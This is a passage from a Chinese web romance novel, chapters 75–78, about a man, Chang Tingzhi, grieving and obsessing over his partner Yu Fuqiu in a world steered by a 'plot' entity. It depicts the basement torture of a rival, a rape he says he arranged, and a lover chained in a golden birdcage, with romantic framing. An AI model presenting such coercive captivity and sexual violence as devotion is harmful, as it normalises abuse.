“剧情快结束了吧。”长庭知等那道冰冷的电子音响起讥讽的笑意和狂妄的笑声后,淡淡地吐出几个字,那道笑声戛然而止。
“球球是不可能放弃我的,我和柯祈安根本没有发生什么,他怎么可能放弃我,”长庭知面无表情道:“你是给他看了改变过后的剧情吧,里面的他是根本不存在的存在。”
“然后当着他的面,将梦中的剧情变成了现实,我猜猜看,柯祈安怀了我的孩子,我为了他的地位,把长春春变得痴傻,一辈子只能困于轮椅之上?”
然后最后一击是他亲手摧毁了余赋秋热爱并且视若生命的演艺事业。
“你错的太离谱了。”长庭知点了点自己的大脑:“你根本没有办法实质的伤害我,所以,我的记忆开始复苏了。”
“调出你,这说明我所有的理论都成立。”
那道声音先是诡异的沉默了一瞬,然后才缓缓道:“你猜的大差不差,不愧是作者亲自设定的主角,但可惜——”
它本身无实体,但唇角却好似勾勒出一个嘲讽的弧度,它故意地长长拉长了尾音,“你以为,你和余赋秋变成这样,全都是我的问题?”
“你真的以为,他放弃你,是因为你毁了他的演艺事业?”
“嘻嘻嘻嘻,猜对了又怎样,你还是个可怜虫。”
长庭知的内心里陡然升起一股怪异又心慌的感觉。
他抿着唇,眼睛冷冷地凝视着虚空中的那颗浮球。
他忽然歪了歪头,“你现在如此频繁地出现在我的面前,就代表你的时间不多了。”
“那么如果我杀了柯祈安,杀了你这个世界的主角受,会怎么样?会毁灭呢还是?”
那道声音忽然惊恐起来,“你,你到底想干什么!这样谁都活不了!你——”
那道声音陡然变得乱码起来,机器的声音在漆黑的空间里诡异起来。
长庭知硬生生地剖开自己的胸膛,硬生生将那颗跳动的心跳挖了出来,面无表情地将那颗粉色的心脏捏碎。
随着心脏血肉的飞溅,漆黑的空间开始破碎、坍塌。
长庭知整个人伴随着空间陷入无边无际的黑暗之中。
长庭知慢慢从黑暗中醒来。
另一个他早有所察觉,他和他之间,透过手机的密码在交流着情报。
但他们都选择了对于余赋秋风险最小的那个。
他害怕。
他怎能不怕?
他怎么能那余赋秋的生命去赌呢?
他太爱余赋秋了,爱到失去了生命都在所不辞。
但他知道正是这样的自己,怎么可能把剧情真的钓出来?
所以他在那场车祸之中,选择了直直地撞了上去,让自己彻底丧失所有的记忆,去面对剧情的开始。
第75章 第75章[VIP]
在余赋秋的消息被彻底封锁了之后, 长庭知静静等着那声音之中所谓的惩罚。
可事实证明,没有他想象中的发生。
世界没有崩塌,他也没有再次失去任何的记忆。
长庭知猜测, 剧情能干扰这个世界并不多, 或许最大的干扰,就是让他提前失去所有和余赋秋相爱的记忆,出现了第二个人格。
但长庭知知道, 既便他知道什么事情也不会发生,也不可能拿余赋秋的生命去赌。
他只有一个余赋秋,世界上只有一个独一无二的余赋秋。
更何况这个余赋秋还是他求过来的, 是本不存在于这个世界的爱人。
长庭知从医院里走了出来。
他刚从一场漫长的检查结果中脱身, 身上依旧是一丝不苟的黑色西装,剪裁完美地贴合他挺拔的身形, 外面罩着黑色的羊绒大衣, 寒风凛冽,吹动他额前的几缕碎发,却吹不散他周身的寒冷。
他神情淡淡,迈着长腿刚要上车,身旁的人凑上来, 说了一句话。
他的神情丝毫未动, 微微骇首。
黑色的轿车碾过郊外荒芜小径上干枯的落叶, 停留在半山腰的一栋别墅前,这里远离市区,没有灯光, 只有冷白的月光惨白地照出别墅的轮廓。
皮鞋敲击在地面上, 发出清晰而有力的叩响,在死寂的黑夜中传得很远。
别墅里厚重的铁门缓缓打开, 灯光昏暗,越是往下,空气越是阴冷潮湿,那股刺鼻的味道的越是严重——
地下室的铁门被打开,里面是一个被改造过的空间,墙壁加厚,没有窗户,只有头顶一盏惨白的日光灯,嗡嗡作响,发出刺啦刺啦的电流声音,在寂静的空间里面显得尤为刺耳。
房间的中央,一个人影蜷缩在角落里面。
——是柯祈安。
但几乎已经认不出来了,平日里笑意盈盈,娇俏的脸庞上全然是娇意,此刻,头发藏污板结,昂贵的衣物已经变成了破烂的布条,勉强能遮蔽身体,裸露的皮肤上遍布着新旧交叠的伤痕,有些已经结痂,有些还红肿的,青紫的痕迹还未褪去。
他听到开门声,身体剧烈地颤抖了一下,像是受惊的动物拼命地往角落里缩,喉咙里发出含糊不清、类似呜咽的声音。
他的眼神涣散,充满了极致的恐惧,在看到长庭知身影的瞬间,瞳孔骤然收缩,整个人抖得如同风中得落叶。
长庭知站在门口,没有立刻进去,他的视线冰冷,扫过柯祈安身上上下的每一处不堪,他的脸上依旧没有任何的波澜,既没有施暴者的快意,也没有怜悯,只有一种审视物品的漠然。
他看着满地的狼藉,眉头都没有蹙一下,跨过去,甚至空气弥漫着尿骚味,他也只是面不改色。
随着他的靠近,柯祈安颤抖的越发厉害,几乎要蜷缩成一团,双手抱住头,不敢再看。
“看来。”他终于开口,声音在地下室里显得格外清晰,冰冷:“你在这里,过得并不怎么舒服。”
柯祈安没说话,他只是蜷缩着身体。
“你知道吗,”他语气平淡:“我最近一直在想一个问题。”
“有些人,为什么总是学不会安分,为什么总是想要去触碰不属于自己的东西,甚至……觉得一切理所应当?”
他的目光落在柯祈安的身上,那目光比地下室的温度更冷。
“你以为,柯家,还会保你吗?”
这句话仿佛是打破了柯祈安最后的保护伞,他猛然抬起头,脸上涕泪横流,混杂着污渍,“不……不可能,他们最爱我了,不可能不会来找我,你骗我……你这个杀人犯……”
“原本我想查,是需要费一点力气,但是呢,”他笑了笑,把手中的视频,播放给柯祈安看,里面是他的哥哥和长庭知的谈话,“你的哥哥,把你的一切都交给了我。”
尤其在看到视频中的一份‘亲子鉴定书’的时候,柯祈安整个人像是被定格在了原地,他屏住呼吸,瞪大眼睛,看着最末尾那行字。
“不具有生物血缘。”
“我找到了柯家真正的小少爷,而你这个冒牌货,自然而然就要被抛弃了。”
柯祈安嘴唇哆嗦着,却只能发出嗬嗬的气音,眼里充斥着濒临崩溃的绝望。
他摇了摇头,用枯瘦的指节抚摸着自己已经有些凹陷下去的肚子,“你,你不能这么做,我,我怀,怀了你的孩子。”
“孩子?”长庭知突兀地笑了一声,黑色的大衣差点抖落了下来,他放出一段视频,里面清晰地拍出了柯祈安的面容,在身上的男人面容逐渐清晰裸露了出来,在看清男人面容的一瞬间的时候,柯祈安倏然僵硬在那里。
“看清楚了吗,你的孩子是他的,你不是污蔑球球找人把你拖入巷子里面吗,我就如你所愿,找了巷子里的人,让你如愿的怀上孩子,”
他蹲下身,那双狭长的双眸看着柯祈安,倒映出他绝望的身躯。
柯祈安发出了一声短促的,撕心裂肺的哀鸣,挣扎着想要往后爬,却因为虚弱和恐惧而动弹不得。
明明这个人,是给予他一切温柔的人,是会为了他而抛弃余赋秋的人,会为了他发出离婚的声明,会在镜头的面前,亲昵地挽着他的手,抚摸着他的头,喊他安安,然后俯身,在他的额角留下亲昵一吻。
明明是这样的,他们应该是这样的。
哪里出现问题了?
而且爱他的爸爸妈妈、哥哥……
甚至是本该抓着他的衣角,亲昵喊他妈妈的孩子。
“你真以为我不知道吗?”他轻声道:“剧情的事情,我早就知道了,你以为我为什么要接近你?”
“仅仅是因为我丧失了所有的情感,只能在你的身上去寻找那一丝丝可笑的慰藉?”
长庭知冰冷的眸子里倒映着柯祈安惨白的脸。
“我很早就说过了,一帮蝼蚁的爱恨,对于我来说,根本没什么区别。”
“不过,有一件事情我的确要感谢你们,多亏你们让我出现,我融合了他的记忆,让我遇到了余赋秋,让我有了一个家。”
“你难道真以为,这段时间,我对你的所有示好,都当成了爱意?
“你真把自己当作剧情中的主角,我命定的爱人?”
“凡事都要想想自己配不配。”
“……你是什么时候开始察觉的?”柯祈安嘶哑着声音问道。
“从你抢了球球的第一个男主角开始。”长庭知面色冷淡:“我很早察觉到了他的出现,我开始确定,晚上就是他出现,所以我知道了,你一定和剧情有沟通。”
但柯祈安的下一句,让长庭知的神色骤然冷了下来,他抬起那张惨白的脸蛋,笑得嘶哑:“你真以为,早就今天的局面,全都怪我?”
恶魔的低语在长庭知的耳边回荡着,他面无表情地凝视着柯祈安。
“你和我一起去参加晚宴的时候,余赋秋和长春春正在被抢救吧,长春春为此造成了粉碎性的骨折,一辈子复健,你以为,你就没有过错?”他笑着笑着咳出了大口大口的鲜血,“我特地把地点安排在只有几公里的距离,明明你只要接起那个电话,你就可以在门口救下他们。”
“在西班牙拍摄节目的时候,你以为小木屋起火是偶然?”他低声笑了下,神色癫狂:“只要你一回头,你就可以看见他,你就可以拯救他,可你呢,你干了什么?”
“我只是随口说了一句,你就抛下了他,将他的一切弃之于不顾。”
“噢,还有一个画面,真是太美了。”
柯祈安扭曲地笑容浮现在脸上:“在那个雨夜,我打电话让你过来,然后余赋秋一遍又一遍打你的电话,你安慰我不要害怕,把我抱入怀中的时候,你知道他们发生了什么吗?”
“你以为你失去的只是一个孩子?”
“长春春痴傻的药是你亲手喂下去的,你甚至也是杀人凶手,那个夜晚,但凡你察觉到了,那个房子就不会起火。”
“我在监控里面,看着余赋秋想爬出去,但他已经丧失了全部的力气,爬到一半,发现门根本无法打开,他打你的手机,从未接听过,然后他慢慢地爬到了长春春的床上,把长春春抱在自己的怀中,把毯子全都盖在了长春春的身上,去面对死亡。”
“而这个时候,你在干什么?”
“你在抱着我,温柔地告诉我不害怕。”
“所以我想,你现在来我这里,是早就知道余赋秋死讯了吧。”
“还是骨灰?”
长庭知的呼吸停滞了一瞬,他疯了般伸出双手,双眸赤红地死死掐住柯祈安的脖子。
“杀我啊!杀了我!”柯祈安的面色变得扭曲,呼吸不上来,但看着长庭知这副模样,心中陡然升起一股扭曲的快、感,“你以为,事到如今,成为这副模样,全都怪我?”
“怪你太软弱!”
“快杀了我!”他尖锐地喊道:“等你彻底成为了一个杀人犯,你觉得你还有回头的余地吗?!”
尖锐的声音让长庭知触电般地松了手。
他颤抖着身体,咬着唇。
不可以。
他不可以杀人。
他要是真的杀人了。
球球会不喜欢他的。
这是不行的。
他要干干净净地去见球球。
去迎接回他的爱人。
第76章 第76章[VIP]
深夜寒风, 长庭知洗去一身的味道,他开着车,久久矗立在老小区的门口。
老小区已经被拆迁的七七八八了, 原本这一片应该变成温泉酒店, 但是长庭知将这一块地皮买了下来。
他的秘书在看他签署购买合同的时候,忍不住出声:“长总,这里既便做温泉酒店, 也基本是亏本的状态,您为何要花这么高的价格去买下这一块地皮?不如是隔壁省的更加合适……”
他签署名字的动作却丝毫没有停顿,他抬起了一直摆放在桌子上的照片, 看着照片中笑意盈盈的余赋秋, 他抬手轻轻抚摸着那一块,他在做出购买这个地皮的那个瞬间, 浮现出的第一个念头不是这个地皮能给长秋集团带来多少的利益。
而是——
他要保留他和余赋秋的家。
对, 是家。
而不是单纯居住的房子。
是余赋秋工作了很久,攒了很久的钱,然后买下的第一个为他遮风避雨的地方,是他上小学、初中、高中乃至大学成长的家。
他现在坐在车上,看着重新建立起来的房子, 从外表看, 它和火灾前一模一样, 连铁门都一致,还有在花园里面栽种的树木,也都是一致。
可长庭知, 不一样了。
彻彻底底地、不一样了。
既便外表一模一样。
他看着那熟悉的轮廓, 内心涌现的是一种深沉的、几乎要将他淹没的空虚,这个空虚冰冷刺骨、比车外的寒风更甚, 从心脏的位置蔓延开来,扩散到四肢百骸,寒风仿佛要灌入他的骨头,他四肢几乎动弹不了。
这更是他们十五年的时光,是见证他们相爱七年的证据,每一块砖、每一片瓦,都浸染着过往的气息,承载着无法磨灭的记忆。
“长总,走吗?”
司机的声音打断了长庭知的思绪,他眸色翻滚着,压下心底骤然翻滚的情绪,他缓缓地关上了车窗,将所有的思绪都隔绝在外面。
他嘶哑道:“走吧。”
在长庭知回家的时候,已经是深夜了。
他走到了楼上,这里的门上还贴着长春春歪歪扭扭写的字迹【妈咪房】。
他心中微动,正要打开房门的时候,却推开了虚掩的房门,看见原本满满当当的空间骤然腾空的时候,他的心中一紧。
他转身,厉声对着楼下收拾东西的佣人道:“我不是说过这个房间里的东西不能动吗?!”
楼下的佣人第一次见到长庭知如此凶猛却面色惨白的模样,回答道:“褚总来过了,交代要把房间里的所有东西扔掉。”
“姐姐?”长庭知握着栏杆的手臂青筋暴起,他竭力稳住自己的声线:“她回来了?在哪里!”
“没有我的允许,她怎么会有钥匙进来?!”
这个房子的钥匙只有他和余赋秋有,连复刻都不可能。
佣人毕竟还是上了年纪,被他这么一吼,顿时有些站不稳了,支支吾吾道:“我,我……不知道。”
“你找我什么事情。”
褚宝梨神色淡淡,她推开了楼下的门,妆容精致,穿着红裙,宛若雪地里最娇艳的梅花,“李叔上了年纪,你这么吼他做什么?是我要让他做的,不关他的事情。”
“褚宝梨。”
长庭知的声音彻底冷了下来,李叔见气氛不对劲,赶紧吞下两颗速效救心丸,搀扶着身子关上了门。
“嗯。”
褚宝梨轻声应道,抬起眸子,那双与长庭知神似的眸子对望着他。
尖锐的高跟鞋与地面接触,发出‘哒哒哒’的声音,在寂静空旷的房间里回荡着。
“现在连姐姐都不喊,这就是你的教养?”她走近长庭知,嗓音冷淡。
“球球呢?”
除了火灾发生之后,褚宝梨骗他说球球死在了那场火灾之中后,再也没有提及过余赋秋,只是冷静地看着他的疯样,然后趁他不备,抢夺他手里的权利,联合股东压制他,想要将他逼迫下总裁的职位。
“我很早就和你说过了,” 褚宝梨冷眼看着他发疯,“他死了,他死了!”
“你听不懂吗?”
“你觉得我会信吗?”他盯着褚宝梨,伸出手拽住她的衣领:“是不是你?!是不是你把球球藏起来了?!你知道他在哪里对不对?!”
“既便你是我姐姐,你也没有权力干涉我的家庭。”
褚宝梨看着他,脸上没有任何的表情,她没有回答他的话,只是从随身的包里,拿出一块冰冷、毫无装饰的白色盒子,和一份盖着清晰红章的文件,直接扔在了长庭知的脸上。
盒子落在地面上,发出沉闷而刺耳的‘咚’的一声。
“我还是那句话。”褚宝梨声音冰冷,没有任何的起伏,像是在宣判死刑,“余赋秋,死了。”
“这是他的骨灰。”她指着那份沉甸甸的白色盒子,然后指着另外一份白色的文件——上面清晰地写着死亡通知书,上面白纸黑字,医院公章,火化证明一应俱全。
长庭知不相信,他的大脑一片空白,不顾脸上被砸的疼痛,既便鲜血汩汩留下染红了视线,他也依旧慢慢地弯下腰来,去捡起那张薄薄的纸.
这是在海外火化的。
——怪不得,怪不得,不论他怎么找,就是找不到余赋秋。
这是一张清晰的死亡通知单。
他的视线很慢很慢,连身份证上的数字都一个个对了过去,然后看着姓名那一栏,先是用英文写了拼写,然后下面又用中文写了三个大字——‘余赋秋’
刹那间,耳边的空气似乎是爆裂开来,耳朵嗡嗡作响,他双眼赤红,双肺似乎丧失了呼吸的能力,他喘不上气了。
“你,你再说什么?”他看着那群黑字,整个人像是被瞬间抽走了灵魂,张了张嘴,只能发出沙哑的声音,“不,不可能……”
“重度烧伤引发多器官衰竭,抢救无效,尸体已经按照程序火化。”她的语速平稳,却字字如刀:“这就是你想要的答案。”
“满意了?”
长庭知颤抖着身体,拽着褚宝梨的衣角,手中的黑字被泪水晕染开来,他摇了摇头:“你骗我的,是不是?”
“他那么爱我,怎么可能会放弃我?”
“他说要和我一起白头到老的。”
“你一定是在骗我,是不是!”
“姐姐……你告诉我,你是骗我的,对不对?”
就在这个时候,褚宝梨猛然上前一步,用尽全身的力气,狠狠地扇了长庭知一巴掌!
“啪——!”
清脆响亮的声音回荡在房间里面。
长庭知被打的偏过头去,脸上迅速浮起清晰的指印,这一巴掌,打碎了他最后一丝自欺欺人的幻想。
“你还要疯到什么时候?!”褚宝梨厉声质问,眼眶通红,表情不再冷静,持续了很久的面具最终还是出现了裂缝,压抑到极致的愤怒与哀伤:“你真的什么都不知道吗?!
“他被下了很久的药,身体早就到了极限了!”
褚宝梨不知道哪里来的力气,一脚踹向他的膝盖,长庭知砰然跪倒在地上。
“我那时候就和你说了,我说你如果要和他在一起,就要全心全意,结果你呢,老婆孩子出了车祸,你和别人在聚光灯下恩恩爱爱。”
“明明你可以救他们的!你到底!为什么!不接电话?!为什么!到底为什么?!要害死他!他明明可以获救的!”
“你知道我在到达了火灾现场的时候,看见了什么吗!”她拽着长庭知的衣领,嘶吼道,“他浑身上下没有一块好皮!整个人被烧焦了,但是他的怀中却紧紧抱着春春,春春除了一点呛伤之外,整个状态都很好,医生说,赋秋在最后的时刻,把春春紧紧抱在怀里,他是硬生生被烧死的!”
“你在干什么?!”
“你在抱着柯祈安,你在安慰他,赋秋给你打了这么多的电话,给你发了最后一则消息,你知道他发了什么吗?!”
那则信息被复原了出来,是余赋秋在极度痛苦和害怕之下写出的一句。
“他给你发了短信,上面写着——”
“庭知。”
“我好痛。”
“而且,赋秋的身体在被解剖之后,法医和我说,他体内还有一个尚未完全死去的孩子。”
长庭知神色一颤,不可置信地抬起头。
“法医说,他身体前不久刚流产过一次,但他怀的是双胎,只流掉了一个,还残留着另外一个,已经三个月了,是个女孩。”
“你知道你到底失去了什么吗,长庭知。”
“你失去了世界上最爱你的人,失去了你拥有他的可能。”
“你的爱太过极端了,也用错了方式了,庭知。”
“你把他害成了什么样子,你再看看春春,他没了妈妈,现在连另一个爸爸也要彻底疯掉吗?”
“余赋秋已经死了,被你害死的。”
“现在,收起你那套令人作呕的深情戏码,别再发疯了。”
“所以,放过他,也放过你自己。”
她深吸一口气,强迫自己冷静下来,一字一句道:“如果,如果……你的心理哪怕还有一丝丝愧疚,如果你还记得他是怎么把你捡回来、养大的……”
“那就照顾好春春。”
“那是他留在世界上、唯一的血脉,也是你……唯一还能赎罪的方式。”
偌大的房间只剩下长庭知一个人。
他抱着余赋秋的骨灰盒,躲进了那间还没来得及打扫完的衣柜。
姐姐肯定是在骗他。
余赋秋这么爱他,怎么会舍得去死呢?
怎么会舍得离开他呢?
他肯定还在生气,合伙姐姐起来来骗他。
真不乖。
他已经为余赋秋报仇了,柯祈安已经被他折磨的不成人样了。
可是,这都好久了……
球球为什么还不回来?
他在微博上发了很多很多的话,但没有一条是余赋秋回复他的。
他的粉丝、他的秘书、他的朋友们都说他疯了。
他们在说什么。
真吵。
长庭知抱着余赋秋的衣服,蜷缩在狭小黑暗的衣柜里面。
都没有签署离婚协议书,更没有领取离婚证,他的结婚证还贴在心口呢。
他把脑袋深深埋入余赋秋的衣服之中,但是已经很久了,那味道很淡很淡,他却拼了命地去汲取那一点点的温暖。
他似乎不满足,整个人缩在衣柜的一方角落,四周都被余赋秋仅有的衣裳堆叠满了。
他用衣服紧紧裹着自己。
他抱着这堆衣服,仿佛抱着余赋秋消瘦的身体,将脸埋进去,仿佛还能感受着对方颈窝的温度,嗅着那早已消散的气息,仿佛余赋秋从未离开。
许久之后,只能在漆黑的夜里面听到一声压抑到极致的哭声。
第77章 第77章[VIP]
孩子带了回来, 想要唤回受的母爱,想要重新开启他们的生活,是小三的下场
余赋秋垂眸看着覆膝在自己的膝盖上的长庭知, 他的呼吸均匀而绵长, 那张总是冷着脸的脸庞在黄昏的照耀下更显得柔和。
余赋秋抬起了手,贴在他的皮肤下面,而在不远处, 放着削水果的刀子,他抿着唇,掌心撑开, 环绕在长庭知的脖子上, 甚至可以清晰地感受到脉搏间的跳动,一下又一下跳跃在余赋秋的掌心之中。
他深深地吸了一口气。
只要死死地按下去, 那刀就在不远处。
可是余赋秋又看着矗立在不到他距离五十厘米的金色鸟笼, 锁在他脚踝处的两指粗的链条。
无数的念头在他的脑海中闪过。
冥冥中有个声音在告诉他,在诱导他。
只要杀了他,只要杀了他。
他就是自由的。
沈昭铭还在等着他。
他们的小狗还在等着他。
他们还没去德国的啤酒节,还没有去英国的彩虹节,还没有去最孤独的世界北端, 去看种子库。
只要——
“球球。”
耳边忽然传来一道近乎温柔的叹息。
明明是长庭知的声音, 却又不是长庭知的声音。
是谁?
是他的庭知?
余赋秋被自己这个想法给吓了一跳。
他和长庭知根本不认识, 他几乎没有任何关于长庭知的记忆。
可是那道声音之中的眷恋和温柔,几乎都让他心碎到落泪。
他眼眶通红,鼻子一酸, 呼吸开始急促了起来。
不, 不可以。
他不能这么做。
余赋秋闭上了眼睛,深深地呼出一口浊气, 那气息里裹着他自己都尚未察觉到的惶恐。
掐死长庭知,或许能终结现在的痛楚。
但会不会……
永远扼杀了这道声音的源头?
扼杀了他所代表的,永远无法知晓的过去?
抚摸在长庭知脖颈上的手,终究还是没能紧紧掐下去,它缓缓地、无力地垂落了下来,指尖的杀意被更深的迷茫和撕裂的痛楚所取代。
余赋秋抬起头,平复内心所有的情绪,咬紧牙关,长发垂落。
他痛恨这样的自己。
痛恨这样摇摆不定的自己。
他想要搞清楚这声呼唤究竟意味着什么,在理清自己胸腔里这团混杂着复杂的情感到底是什么之前,他想自己终究还是下不了手。
他静静靠在那里,看着熟睡中毫无防备的长庭知,眼神平静,最终,他缓缓地垂下了手,隐没在无边无际的阴影之中,将自己重新埋入更深的沉默与挣扎之中。
……
“球球。”
长庭知做出了一个决定,他要把春春带回来。
不仅仅是出于褚宝梨那句“赎罪”的指令,更多是源于他内心深处扭曲的执念。
他需要长春春,长春春是他和余赋秋唯一的血脉,是他们在这个世界上最深处的链接。
他需要这个流淌着他和余赋秋共同血脉的孩子,作为一道桥梁,一个活生生的证据,一个可以唤醒余赋秋记忆的契机。
在一个晴天。
余赋秋看到了矗立在门口的孩子。
春春已经张大了些,但依然带着大病初愈后的懵懂和迟缓,他像是一个来自陌生环境的猫,充斥着不安,尤其在看清了这间房间后。
偌大的房间的正中心矗立着一个黄金的鸟笼,鸟笼只能存放下一张床,而在床的中央,一个四肢被锁着的漂亮青年,面色苍白,柔顺的长发垂落,听到动静,正抬头,然后对上他的眼睛。
长春春被安置在轮椅上,被长庭知推在了门口,他比视频中大了些,脸上的婴儿肥褪去一些,显出一种不合年龄、因为长期服用药物而导致的虚弱脆弱感。
阳光照在他的脸上,长长的睫毛投射下浅浅的弧度。
只是看了一眼。
余赋秋几乎就肯定,眼前的人,正是自己的亲生孩子。
他虽然没有记忆,但是身体的记忆是骗不了人的。
他看见这个孩子的第一眼,双手就下意识的张开,那是一个等待拥抱的姿态。
在对上他双眼的一瞬间,长春春迟钝的眼睛里,倏然亮起了一点微弱却执拗的光。
那是记忆深处最本能的光。
他虽然已经笨拙,但他认得这张脸,爸爸一直给他看妈妈的照片,给他裹着有妈妈气息的毯子睡觉。
“妈……妈咪?”含糊的、口齿不清的音节从长春春的嘴里费力地挤出来,他忘记了自己身下的轮椅,忘记了控制,只是本能急切地想要向前扑动着,伸出瘦弱的手臂,扑向他模糊记忆之中唯一的光和温暖。
轮椅因为他急切的动作而微微晃动。
余赋秋的心脏,在胸腔里面狠狠一缩,像是被一只冰冷的手攥住了,骤然停止了跳动,又随即被酸楚和尖锐的痛楚填满。
他的指尖在身侧猛然抽搐了一下,几乎是下意识的,他要抬起臂膀,去拥抱这个小小的身影。
这是他的孩子。
长庭知曾给他看过很多很多他和长春春相触的记忆,他不敢置信地看着画面中满目慈爱和温柔的自己。
怀中抱着这么小小的孩子,这个孩子是他生出来的。
身上留着他的血脉。
那张小脸上的依恋和渴望,像烧红的针,刺穿了他麻木的躯壳,带来剧烈的疼痛。
在他的指尖触碰到栏杆的时候,他停住了。
手僵在半空。
可是 ——
他现在能做什么呢?
连他自己都是囚徒,一举一动都是在长庭知的控制之下。
他知道长庭知的这个做法是什么,无非是想用孩子绑住他,在他和孩子产产生了感情之后,他就再也逃不掉了。
他连自己都保护不了,还怎么去保护长春春?
在那双小手即将勾住他的时候,余赋秋伸回了自己的后,极其轻微地、退了一步。
神情彻底隐没在刘海之下。
他的脸上没有任何的表情,所有的惊涛骇浪,都被封存在下面。
“妈咪?”长春春疑惑地歪着头,身后的长庭知慢慢把他的轮椅往前推,隔着笼子,他们彼此面面相聚。
“妈咪,我是春春呀。”长春春低头看着掌心写的字,他读的很慢。
因为两年前那场加重的意外,让他的双腿留下了短暂性地残疾,医生检查出,长春春的大脑没有器质性的伤害,但他的心智却都在往后倒退,心理的疾病被无限制的放大,最终让他成为了一个痴傻的孩子。
已经九岁的长春春看着和同龄的孩子相差无几,尤其这两年他被长庭知养的很好,漂亮的脸逐步长开来,他继承了长庭知和余赋秋所有的优点,连复健都复健的很好,只是他依旧克服不了心理的障碍,除了复健的时候,其他时间从来不敢尝试站起来,两年,他一直呆在家里,一见到陌生人就发疯的喊叫,大声的哭泣。
直到某天,长春春闯入了一个房间。
那个房间是爸爸每晚都会去的房间,长春春曾好奇爸爸一直呆在那间上锁的房间干什么,他曾呆在房门外,听见爸爸在低声的哭泣。
他想要推开门,进去安慰爸爸。
可是他笨笨的,想不出任何可以安慰爸爸的话。
也许是爸爸哭累了,在那间声音没有声响之后。
长春春推开了门,拖着笨重的身子,看清了房间的全貌。
门被一股微弱却执拗的力道推开,发出轻微的“吱呀”声。
长春春倚靠着门框,因为药物和久病而显得笨拙的身子微微喘息。
他费力地抬起眼,看向房间内部。
然后,他呆住了。
视线所及,几乎失去了墙壁、天花板和地板的原本模样。取而代之的,是层层叠叠,密密麻麻、铺天盖地的照片。
从墙角一直蔓延到天花板中央,连脚下踩着的,都是光滑的相纸。每一张照片上,都是同一个人——
不同年龄,不同季节,不同地点。
有灯光下辅导作业的侧影,有阳光下闭眼微笑的瞬间,有站在窗边神情落寞的轮廓,有不知在何处沉睡的安恬……无数的同一个人,被定格在方寸之间,包围了整个空间。
像一片无声的、令人窒息的海洋,每一道目光,每一个表情,都源自同一个人。
长春春懵懂的脑袋无法理解这种密集带来的心理压迫,他只是本能地感到不安,手指无意识地抠紧了门框。
长庭知就站在这片照片的中央,背对着门口,似乎正凝望着墙壁的某处。
听到声响,他缓缓转过身。
逆着光,他的表情看不太真切,但周身散发的气息让春春不自觉地缩了缩脖子。
长庭知的目光落在春春身上,没有温度,像是在透过他在看另外一个人,那眸中是炽热的狂热,让长春春呜咽着萧索了脖子下。
“春春,来。”
长庭知走过去,抱起长春春。
因为长时期的不运动,他的肌肉有些萎缩了,体重很轻,长庭知几乎一只手就可以抱起他。
他抱着长春春,越来越靠近墙壁。
一张看起来最新的照片。
那张照片里,青年头微微歪着,眉目精致漂亮,带着温柔地笑意。
他的身边,原本应该站着另一个人,但那个人的脸部已经被彻底撕毁,只留下一个边缘参差的空洞,像一道丑陋的伤疤,突兀地印在照片上。
照片的背景有些模糊,似乎在海边。
长庭知的声音在寂静的、充满照片的房间里响起,不高,却异常清晰,甚至带着一丝诡异的柔和,他对着长春春,眸光温柔:“春春,看,”他的手指轻轻点了点照片上余赋秋微笑的脸,“妈咪。”
“这是妈咪哦。”
然后,他的嘴角似乎极其细微地向上弯了一下,目光从照片移向长春春懵懂又畏缩的脸,一字一句,“妈咪就快回来了。”
“爸爸找到了他了,马上就把妈咪带回来。”
“妈咪只是生爸爸的气了,这次回来,爸爸一定好好和妈咪道歉。”
“你要学会讨妈咪的欢心,他最爱你了。”
第78章 第78章[VIP]
“球球。”
长庭知半蹲了下来, 与坐在轮椅上的长春春齐平,修长的指尖轻轻敲击着金色的栏杆。
“看,这是春春, 这是春春呀。”
长春春眨着那双漂亮的眸子, 小声地喊道:“妈咪。”
然后他又看了看长庭知,似乎意会到了什么,对着蜷缩在阴影里的余赋秋伸出手, 软声地喊道:“妈咪,抱抱。”
这两年,长庭知会和他说无数有关余赋秋的事情, 他虽然现在笨拙, 但从长庭知的话语之中,还有那些遗留的照片中, 都可以看出来余赋秋对他的爱意。
这是把他带来这个世界上的人, 是他在这个世界上最亲近的人。
余赋秋的身子动了动,他在隐忍着什么。
心中的情绪骤然翻滚。
明明没有记忆,但长春春喊出一声又一声的妈咪,让他的心都揪了起来,他现在只想不顾一切去拥抱长春春, 把这个小小的孩子拥入怀中。
“妈咪, 今天爸爸把春春接了回来, 春春在医院呆了好久,又被爸爸带去了一个房子,那个房间很大, 春春很害怕。”
长春春的身子不断地靠近鸟笼, 他下意识地想要挡住长庭知望向余赋秋的视线,克制自己颤抖的声线, 诉说着今天他所遇到的事情。
明明他是第一次见妈咪,明明他在别人的面前是那么的害怕,看见陌生人就会如同受惊的鸟儿一般大喊大叫,惊悚的哭泣着,但是在看见余赋秋被关在鸟笼里,蜷缩在一张床上的时候,他的脑海里第一反应不是害怕。
而是保护。
一个和爸爸一模一样的声音回荡在他的耳边。
“春春,要和爸爸拉钩。”
“如果爸爸哪一天不在了,你一定要代替爸爸,保护好妈咪。”
“不要让妈咪伤心了,这是男子汉该做的,也是和爸爸的约定。”
可是爸爸不就在他的身边吗?
长春春却没有办法把两个人混作一团,对他来说,这个声音是爸爸,又不是爸爸。
“旁边的姐姐说爸爸每天都很忙,这样情况下每晚都会回来陪伴春春,给春春讲述妈咪的事情。”
他看到了妈妈给自己织的从小到大的毛衣,还有很多很多收拾起来的玩具,最重要的是一个破旧的小熊,那个小熊的耳朵缺了一角,却被歪歪扭扭地缝了起来。
爸爸说这个是他封起来的,是妈妈一手慢慢地教他。
说这个是他最珍贵的宝贝。
可是既便是这么珍贵,为什么还会缺了一个角呢?
长春春不知道。
“春春想了很多次,看见妈咪的话,会是个什么样子的心情。”
长春春的轮椅在地板上发出细微的咕噜声响,停在了金色的笼子面前,他仰着小脸,看着笼子中的人。
余赋秋的眼睫毛几乎是及不可察地颤动了一下,但他依旧低垂着脑袋,没有回应长春春的话,只是指尖抓着床单的褶皱已经出卖了他内心的想法。
长春春并不气馁,他伸出小手,轻轻地触碰了下冰冷的金属栏杆,指尖传来凉意,“爸爸在一个晚上,对春春说,马上就可以见到妈咪了。”
“春春是期待、是忐忑的。”
“也是……高兴的。”
他自顾自地往下说,又在回答自己的前面的问题,“可是,心里面又酸酸的。”
他转着眸子,“春春蠢笨,不会说很漂亮的话,就像是,像是吃了没熟的橘子,想哭,但是又想笑。”
他皱着小眉头,似乎被这种矛盾的心情困扰了。
余赋秋的呼吸停滞了一瞬间,他能感受到孩子的纯粹的,不带任何杂质,只有满目眷恋的目光。
